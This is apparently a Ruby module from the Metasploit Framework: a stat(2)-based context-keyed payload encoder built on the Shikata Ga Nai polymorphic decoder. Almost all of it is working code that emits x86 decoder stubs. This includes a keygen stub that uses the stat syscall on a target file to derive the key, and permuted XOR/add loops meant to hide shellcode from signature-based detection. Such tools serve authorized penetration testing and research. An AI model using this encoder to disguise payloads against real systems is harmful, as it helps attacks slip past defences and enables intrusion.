metasploit-framework/modules/encoders/x86/context_stat.rb

202 lines
6.8 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/poly'
require 'msf/core'
class Metasploit3 < Msf::Encoder::XorAdditiveFeedback
# Manual ranking because the stat(2) key is generated and supplied
# manually.
Rank = ManualRanking
def initialize
super(
'Name' => 'stat(2)-based Context Keyed Payload Encoder',
'Description' => %q{
This is a Context-Keyed Payload Encoder based on stat(2)
and Shikata Ga Nai.
},
'Author' => 'Dimitris Glynos',
'Arch' => ARCH_X86,
'License' => MSF_LICENSE,
'Decoder' =>
{
'KeySize' => 4,
'BlockSize' => 4
})
register_options(
[
OptString.new('STAT_KEY', [ true,
"STAT key from target host (see tools/context/stat-key utility)",
"0x00000000" ]),
OptString.new('STAT_FILE', [ true, "name of file to stat(2)", "/bin/ls" ]),
], self.class)
end
def obtain_key(buf, badchars, state)
state.key = datastore['STAT_KEY'].hex
return state.key
end
#
# Generates the shikata decoder stub.
#
def decoder_stub(state)
# If the decoder stub has not already been generated for this state, do
# it now. The decoder stub method may be called more than once.
if (state.decoder_stub == nil)
# Shikata will only cut off the last 1-4 bytes of it's own end
# depending on the alignment of the original buffer
cutoff = 4 - (state.buf.length & 3)
block = keygen_stub() + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError)
# Take the last 1-4 bytes of shikata and prepend them to the buffer
# that is going to be encoded to make it align on a 4-byte boundary.
state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf
# Cache this decoder stub. The reason we cache the decoder stub is
# because we need to ensure that the same stub is returned every time
# for a given encoder state.
state.decoder_stub = block
end
state.decoder_stub
end
protected
def keygen_stub
fname = datastore['STAT_FILE']
flen = fname.length
payload =
"\xd9\xee" + # fldz
"\xd9\x74\x24\xf4" + # fnstenv -0xc(%esp)
"\x5b" + # pop %ebx
Rex::Arch::X86.jmp_short(flen) + # jmp over
fname + # the filename
"\x83\xc3\x09" + # over: add $9, %ebx
"\x8d\x53" + # lea filelen(%ebx), %edx
Rex::Arch::X86.pack_lsb(flen) + #
"\x31\xc0" + # xor %eax,%eax
"\x88\x02" + # mov %al,(%edx)
"\x8d\x4c\x24\xa8" + # lea -0x58(%esp),%ecx
"\xb0\xc3" + # mov $0xc3, %al
"\xcd\x80" + # int $0x80
"\x8b\x41\x2c" + # mov 0x2c(%ecx),%eax
"\x33\x41\x48" # xor 0x48(%ecx),%eax
end
#
# Returns the set of FPU instructions that can be used for the FPU block of
# the decoder stub.
#
def fpu_instructions
fpus = []
0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }
0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }
0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }
0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }
0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }
fpus << "\xd9\xd0"
fpus << "\xd9\xe1"
fpus << "\xd9\xf6"
fpus << "\xd9\xf7"
fpus << "\xd9\xe5"
# This FPU instruction seems to fail consistently on Linux
#fpus << "\xdb\xe1"
fpus
end
#
# Returns a polymorphic decoder stub that is capable of decoding a buffer
# of the supplied length and encodes the last cutoff bytes of itself.
#
def generate_shikata_block(state, length, cutoff)
# Declare logical registers
key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax')
count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx')
addr_reg = Rex::Poly::LogicalRegister::X86.new('addr')
# Declare individual blocks
endb = Rex::Poly::SymbolicBlock::End.new
# FPU blocks
fpu = Rex::Poly::LogicalBlock.new('fpu', *fpu_instructions)
fnstenv = Rex::Poly::LogicalBlock.new('fnstenv', "\xd9\x74\x24\xf4")
# Get EIP off the stack
popeip = Rex::Poly::LogicalBlock.new('popeip',
Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr })
# Clear the counter register
clear_register = Rex::Poly::LogicalBlock.new('clear_register',
"\x31\xc9",
"\x29\xc9",
"\x33\xc9",
"\x2b\xc9")
# Initialize the counter after zeroing it
init_counter = Rex::Poly::LogicalBlock.new('init_counter')
# Divide the length by four but ensure that it aligns on a block size
# boundary (4 byte).
length += 4 + (4 - (length & 3)) & 3
length /= 4
if (length <= 255)
init_counter.add_perm("\xb1" + [ length ].pack('C'))
else
init_counter.add_perm("\x66\xb9" + [ length ].pack('v'))
end
# Key initialization block
# Decoder loop block
loop_block = Rex::Poly::LogicalBlock.new('loop_block')
xor = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
add = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
sub4 = Proc.new { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" }
add4 = Proc.new { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" }
loop_block.add_perm(
Proc.new { |b| xor1.call(b) + add1.call(b) + sub4.call(b) },
Proc.new { |b| xor1.call(b) + sub4.call(b) + add2.call(b) },
Proc.new { |b| sub4.call(b) + xor2.call(b) + add2.call(b) },
Proc.new { |b| xor1.call(b) + add1.call(b) + add4.call(b) },
Proc.new { |b| xor1.call(b) + add4.call(b) + add2.call(b) },
Proc.new { |b| add4.call(b) + xor2.call(b) + add2.call(b) })
# Loop instruction block
loop_inst = Rex::Poly::LogicalBlock.new('loop_inst',
"\xe2\xf5")
# Define block dependencies
fnstenv.depends_on(fpu)
popeip.depends_on(fnstenv)
init_counter.depends_on(clear_register)
loop_block.depends_on(popeip, init_counter)
loop_inst.depends_on(loop_block)
# Generate a permutation saving the EAX, ECX and ESP registers
loop_inst.generate([
Rex::Arch::X86::EAX,
Rex::Arch::X86::ESP,
Rex::Arch::X86::ECX ], nil, state.badchars)
end
end